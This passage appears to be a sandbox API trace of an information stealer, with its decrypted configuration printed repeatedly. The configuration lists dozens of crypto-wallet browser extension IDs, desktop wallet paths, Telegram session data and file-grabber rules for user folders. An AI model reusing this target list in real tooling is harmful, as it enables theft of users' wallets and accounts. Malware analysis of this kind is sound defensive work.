Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3717 [0259.801] LocalAlloc (uFlags=0x40, uBytes=0x1d8a) returned 0x6ef5a0 [0259.802] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0259.802] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.803] StrStrW (lpFirst="ews_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.803] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0259.803] LocalFree (hMem=0x6b9720) returned 0x0 [0259.803] LocalFree (hMem=0x6bb438) returned 0x0 [0259.804] LocalFree (hMem=0x6bd150) returned 0x0 [0259.804] StrStrW (lpFirst="ews_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.804] lstrlenW (lpString="sstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3641 [0259.804] lstrlenW (lpString="sstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 